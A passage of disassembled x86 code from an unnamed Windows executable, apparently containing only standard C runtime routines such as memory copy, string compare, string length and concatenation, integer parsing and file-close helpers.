; Attributes: bp-based frame


sub_417390	proc near		; CODE XREF: sub_4010B5+22Dp
					; sub_4010B5+23Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_39		= byte ptr  41h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4173B0
		cmp	edi, eax
		jb	loc_417528


loc_4173B0:				; CODE XREF: sub_417390+16j
		test	edi, 3
		jnz	short loc_4173CC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------


loc_4173CC:				; CODE XREF: sub_417390+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4173E4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_4173EC+4[eax*4]
; ---------------------------------------------------------------------------


loc_4173E4:				; CODE XREF: sub_417390+46j
		jmp	dword ptr loc_4174E8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4173EC:				; CODE XREF: sub_417390+31j
					; sub_417390+8Ej ...
		jmp	off_41746C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_417400
		dd offset loc_41742C
		dd offset loc_417450
; ---------------------------------------------------------------------------


loc_417400:				; DATA XREF: sub_417390+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41742C:				; DATA XREF: sub_417390+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_417450:				; DATA XREF: sub_417390+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41746C	dd offset loc_4174CF	; DATA XREF: sub_417390:loc_4173ECr
		dd offset loc_4174BC
		dd offset loc_4174B4
		dd offset loc_4174AC
		dd offset loc_4174A4
		dd offset loc_41749C
		dd offset loc_417494
		dd offset loc_41748C
; ---------------------------------------------------------------------------


loc_41748C:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_417494:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41749C:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_4174A4:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4174AC:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4174B4:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4174BC:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4174CF:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390:off_41746Co
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4174D8	dd offset loc_4174E8	; DATA XREF: sub_417390+35r
					; sub_417390+92r ...
		dd offset loc_4174F0
		dd offset loc_4174FC
		dd offset loc_417510
; ---------------------------------------------------------------------------


loc_4174E8:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4174F0:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4174FC:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_417510:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_417528:				; CODE XREF: sub_417390+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41755C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_417550
		std
		rep movsd
		cld
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_417550:				; CODE XREF: sub_417390+1B1j
					; sub_417390+208j ...
		neg	ecx
		jmp	off_417620[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41755C:				; CODE XREF: sub_417390+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_417574
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_417574+4[eax*4]
; ---------------------------------------------------------------------------


loc_417574:				; CODE XREF: sub_417390+1D6j
					; DATA XREF: sub_417390+1DDr
		jmp	off_417670[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	[ebp+arg_39], dh
		add	[eax-2FFFBE8Bh], ch
		jnz	short loc_4175C8
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_417550
		std
		rep movsd
		cld
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_417550
		std
		rep movsd
		cld


loc_4175C8:				; CODE XREF: sub_417390+1F5j
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_417550
		std
		rep movsd
		cld
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_417624
		dd offset loc_41762C
		dd offset loc_417634
		dd offset loc_41763C
		dd offset loc_417644
		dd offset loc_41764C
		dd offset loc_417654
off_417620	dd offset loc_417667	; DATA XREF: sub_417390+1C2r
; ---------------------------------------------------------------------------


loc_417624:				; DATA XREF: sub_417390+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41762C:				; DATA XREF: sub_417390+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_417634:				; DATA XREF: sub_417390+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41763C:				; DATA XREF: sub_417390+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_417644:				; DATA XREF: sub_417390+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41764C:				; DATA XREF: sub_417390+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_417654:				; DATA XREF: sub_417390+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_417667:				; CODE XREF: sub_417390+1C2j
					; DATA XREF: sub_417390:off_417620o
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_417670	dd offset loc_417680	; DATA XREF: sub_417390+1B7r
					; sub_417390:loc_417574r ...
		dd offset loc_417688
		dd offset loc_417698
		dd offset loc_4176AC
; ---------------------------------------------------------------------------


loc_417680:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_417688:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_417698:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4176AC:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_417390	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4176D0	proc near		; CODE XREF: sub_4010B5+FCp
					; sub_4010B5+118p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41771C


loc_4176E0:				; CODE XREF: sub_4176D0+3Cj
					; sub_4176D0+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_417714
		or	al, al
		jz	short loc_417710
		cmp	ah, [ecx+1]
		jnz	short loc_417714
		or	ah, ah
		jz	short loc_417710
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_417714
		or	al, al
		jz	short loc_417710
		cmp	ah, [ecx+3]
		jnz	short loc_417714
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_4176E0
		mov	edi, edi


loc_417710:				; CODE XREF: sub_4176D0+18j
					; sub_4176D0+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_417714:				; CODE XREF: sub_4176D0+14j
					; sub_4176D0+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41771C:				; CODE XREF: sub_4176D0+Ej
		test	edx, 1
		jz	short loc_417738
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_417714
		inc	ecx
		or	al, al
		jz	short loc_417710
		test	edx, 2
		jz	short loc_4176E0


loc_417738:				; CODE XREF: sub_4176D0+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_417714
		or	al, al
		jz	short loc_417710
		cmp	ah, [ecx+1]
		jnz	short loc_417714
		or	ah, ah
		jz	short loc_417710
		add	ecx, 2
		jmp	short loc_4176E0
sub_4176D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417760	proc near		; CODE XREF: sub_4010B5+19Ep
					; sub_401A76+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_417779
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_417779:				; CODE XREF: sub_417760+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_417760	endp


; =============== S U B	R O U T	I N E =======================================



sub_417794	proc near		; CODE XREF: sub_41781F+4p
					; sub_42094E+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41779C:				; CODE XREF: sub_417794+34j
		cmp	dword_433E7C, 1
		jle	short loc_4177B4
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_4177C3
; ---------------------------------------------------------------------------


loc_4177B4:				; CODE XREF: sub_417794+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_433C70
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_4177C3:				; CODE XREF: sub_417794+1Ej
		test	eax, eax
		jz	short loc_4177CA
		inc	edi
		jmp	short loc_41779C
; ---------------------------------------------------------------------------


loc_4177CA:				; CODE XREF: sub_417794+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_4177DA
		cmp	esi, 2Bh
		jnz	short loc_4177DE


loc_4177DA:				; CODE XREF: sub_417794+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_4177DE:				; CODE XREF: sub_417794+44j
		xor	ebx, ebx


loc_4177E0:				; CODE XREF: sub_417794+7Bj
		cmp	dword_433E7C, 1
		jle	short loc_4177F5
		push	4
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_417800
; ---------------------------------------------------------------------------


loc_4177F5:				; CODE XREF: sub_417794+53j
		mov	eax, off_433C70
		mov	al, [eax+esi*2]
		and	eax, 4


loc_417800:				; CODE XREF: sub_417794+5Fj
		test	eax, eax
		jz	short loc_417811
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_4177E0
; ---------------------------------------------------------------------------


loc_417811:				; CODE XREF: sub_417794+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41781A
		neg	eax


loc_41781A:				; CODE XREF: sub_417794+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_417794	endp


; =============== S U B	R O U T	I N E =======================================



sub_41781F	proc near		; CODE XREF: sub_4013EC+12p
					; sub_4013EC+1Dp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_417794
		pop	ecx
		retn
sub_41781F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41782A	proc near		; CODE XREF: sub_40144A+318p
					; sub_401D82+460p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_419E38
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_417869
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_417876
; ---------------------------------------------------------------------------


loc_417869:				; CODE XREF: sub_41782A+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_419D23
		pop	ecx
		pop	ecx


loc_417876:				; CODE XREF: sub_41782A+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41782A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417880	proc near		; CODE XREF: sub_401D82+2D8p
					; sub_401D82+2F8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_4178FA
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_4178E7


loc_417898:				; CODE XREF: sub_417880+52j
					; sub_417880+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_4178BA
		test	al, al
		jz	short loc_4178B4


loc_4178A9:				; CODE XREF: sub_417880+32j
		mov	al, [esi]
		inc	esi


loc_4178AC:				; CODE XREF: sub_417880+3Fj
		cmp	al, dl
		jz	short loc_4178BA
		test	al, al
		jnz	short loc_4178A9


loc_4178B4:				; CODE XREF: sub_417880+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4178BA:				; CODE XREF: sub_417880+23j
					; sub_417880+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_4178AC
		lea	edi, [esi-1]


loc_4178C4:				; CODE XREF: sub_417880+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_4178F3
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_417898
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_4178F3
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_4178C4
		jmp	short loc_417898
; ---------------------------------------------------------------------------


loc_4178E7:				; CODE XREF: sub_417880+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_418F56
; ---------------------------------------------------------------------------


loc_4178F3:				; CODE XREF: sub_417880+49j
					; sub_417880+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4178FA:				; CODE XREF: sub_417880+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_417880	endp


; =============== S U B	R O U T	I N E =======================================



sub_417900	proc near		; CODE XREF: sub_4022C6+94p
					; sub_405A58+7Cp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_417915
		or	eax, 0FFFFFFFFh
		jmp	short loc_41794F
; ---------------------------------------------------------------------------


loc_417915:				; CODE XREF: sub_417900+Ej
		test	al, 83h
		jz	short loc_41794D
		push	esi
		call	sub_41A7D0
		push	esi
		mov	edi, eax
		call	sub_41A76A
		push	dword ptr [esi+10h]
		call	sub_41A6B7
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41793B
		or	edi, 0FFFFFFFFh
		jmp	short loc_41794D
; ---------------------------------------------------------------------------


loc_41793B:				; CODE XREF: sub_417900+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41794D
		push	eax
		call	sub_417C3B
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41794D:				; CODE XREF: sub_417900+17j
					; sub_417900+39j ...
		mov	eax, edi


loc_41794F:				; CODE XREF: sub_417900+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_417900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417956	proc near		; CODE XREF: sub_4022C6+8Ep
					; sub_40EE72+2B0Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41A8A2
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419E38
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_41A92F
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417956	endp


; =============== S U B	R O U T	I N E =======================================



sub_417988	proc near		; CODE XREF: sub_4179A8+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41AADC
		test	eax, eax
		jnz	short loc_417992
		retn
; ---------------------------------------------------------------------------


loc_417992:				; CODE XREF: sub_417988+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41A96C
		add	esp, 10h
		retn
sub_417988	endp


; =============== S U B	R O U T	I N E =======================================



sub_4179A8	proc near		; CODE XREF: sub_4022C6+54p
					; sub_405A58+2Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_417988
		add	esp, 0Ch
		retn
sub_4179A8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4179C0	proc near		; CODE XREF: sub_405AF2+2BFp
					; sub_40A7D7+75p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_417A31
sub_4179C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4179D0	proc near		; CODE XREF: sub_4022C6+32p
					; sub_4022C6+43p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_4179EC


loc_4179DD:				; CODE XREF: sub_4179D0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_417A1F
		test	ecx, 3
		jnz	short loc_4179DD


loc_4179EC:				; CODE XREF: sub_4179D0+Bj
					; sub_4179D0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_4179EC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_417A2E
		test	ah, ah
		jz	short loc_417A29
		test	eax, 0FF0000h
		jz	short loc_417A24
		test	eax, 0FF000000h
		jz	short loc_417A1F
		jmp	short loc_4179EC
; ---------------------------------------------------------------------------


loc_417A1F:				; CODE XREF: sub_4179D0+12j
					; sub_4179D0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_417A31
; ---------------------------------------------------------------------------


loc_417A24:				; CODE XREF: sub_4179D0+44j
		lea	edi, [ecx-2]
		jmp	short loc_417A31
; ---------------------------------------------------------------------------


loc_417A29:				; CODE XREF: sub_4179D0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_417A31
; ---------------------------------------------------------------------------


loc_417A2E:				; CODE XREF: sub_4179D0+39j
		lea	edi, [ecx-4]


loc_417A31:				; CODE XREF: sub_4179C0+5j
					; sub_4179D0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_417A56


loc_417A3D:				; CODE XREF: sub_4179D0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_417AA8
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_417A3D
		jmp	short loc_417A56
; ---------------------------------------------------------------------------


loc_417A51:				; CODE XREF: sub_4179D0+9Ej
					; sub_4179D0+B8j
		mov	[edi], edx
		add	edi, 4


loc_417A56:				; CODE XREF: sub_4179D0+6Bj
					; sub_4179D0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_417A51
		test	dl, dl
		jz	short loc_417AA8
		test	dh, dh
		jz	short loc_417A9F
		test	edx, 0FF0000h
		jz	short loc_417A92
		test	edx, 0FF000000h
		jz	short loc_417A8A
		jmp	short loc_417A51
; ---------------------------------------------------------------------------


loc_417A8A:				; CODE XREF: sub_4179D0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417A92:				; CODE XREF: sub_4179D0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417A9F:				; CODE XREF: sub_4179D0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417AA8:				; CODE XREF: sub_4179D0+72j
					; sub_4179D0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_4179D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_417AB0	proc near		; CODE XREF: sub_4023A7+1A7p
					; sub_4023A7:loc_402561p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_417AD0


loc_417ABC:				; CODE XREF: sub_417AB0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_417B03
		test	ecx, 3
		jnz	short loc_417ABC
		add	eax, 0


loc_417AD0:				; CODE XREF: sub_417AB0+Aj
					; sub_417AB0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_417AD0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_417B21
		test	ah, ah
		jz	short loc_417B17
		test	eax, 0FF0000h
		jz	short loc_417B0D
		test	eax, 0FF000000h
		jz	short loc_417B03
		jmp	short loc_417AD0
; ---------------------------------------------------------------------------


loc_417B03:				; CODE XREF: sub_417AB0+11j
					; sub_417AB0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_417B0D:				; CODE XREF: sub_417AB0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_417B17:				; CODE XREF: sub_417AB0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_417B21:				; CODE XREF: sub_417AB0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_417AB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417B30	proc near		; CODE XREF: sub_402688+8p
					; sub_402B84+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_417B50


loc_417B3C:				; CODE XREF: sub_417B30+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_417B3C


loc_417B50:				; CODE XREF: sub_417B30+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_417B30	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B5F	proc near		; CODE XREF: sub_4029E9+7Ap
					; sub_4029E9+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_417B73


loc_417B6B:				; CODE XREF: sub_417B5F+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_417B6B


loc_417B73:				; CODE XREF: sub_417B5F+Aj
		mov	edx, [esp+arg_4]
		push	esi


loc_417B78:				; CODE XREF: sub_417B5F+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_417B78
		pop	esi
		retn
sub_417B5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B89	proc near		; CODE XREF: sub_402B84+220p
					; sub_402DD7+C1p ...

arg_0		= dword	ptr  4

		push	dword_4CDA14
		push	[esp+4+arg_0]
		call	sub_417B9B
		pop	ecx
		pop	ecx
		retn
sub_417B89	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B9B	proc near		; CODE XREF: sub_417B89+Ap
					; sub_4185F5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_417BC4


